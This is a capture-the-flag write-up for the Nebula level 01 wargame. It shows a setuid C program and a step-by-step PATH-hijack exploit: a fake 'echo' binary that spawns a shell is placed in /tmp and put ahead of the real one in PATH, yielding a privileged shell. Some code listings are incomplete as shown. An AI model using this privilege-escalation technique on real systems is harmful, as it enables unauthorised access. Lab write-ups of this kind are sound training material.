Nebula - 01

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Nebula - 01

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it? To do this level, log in as the level01 account with the password level01. Files for this level can be found in the /home/flag01 directory.

Source code

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");

Getting the flag

First, let’s log in via ssh and check the binary at /home/flag01.

level01@nebula:/home/flag01$ ./flag01 
and now what?

From the quick audit of the source code, we can see that echo is called by the relative path instead of the absolute one (echo instead of /bin/echo). We can abuse that and create another binary named echo in another location and add it to the $PATH, so Linux will prioritize our “malicious” binary instead of the right one.

Let’s create a new folder in /tmp and write a simple program there:

flag01@nebula:~$ cd /tmp
flag01@nebula:/tmp$ mkdir level01 && cd level01
flag01@nebula:/tmp/level01$ nano echo.c

Our echo will simply call the /bin/bash. It could be anything, really, but I prefer to spawn a shell if I have a chance to do so.


int main()

Compile that program with gcc

flag01@nebula:/tmp/level01$ gcc echo.c -o echo

Let’s check the content of the $PATH variable:

flag01@nebula:/tmp/level01$ echo $PATH

We can add our folder with the binary to the global $PATH:

flag01@nebula:/tmp/level01$ PATH=/tmp/level01:$PATH

flag01@nebula:/tmp/level01$ echo $PATH

Alright, now when we will execute the binary in the /home/flag01 it will call our echo and spawn a shell:

flag01@nebula:/tmp/level01$ /home/flag01/flag01 
flag01@nebula:/tmp/level01$ getflag 
You have successfully executed getflag on a target account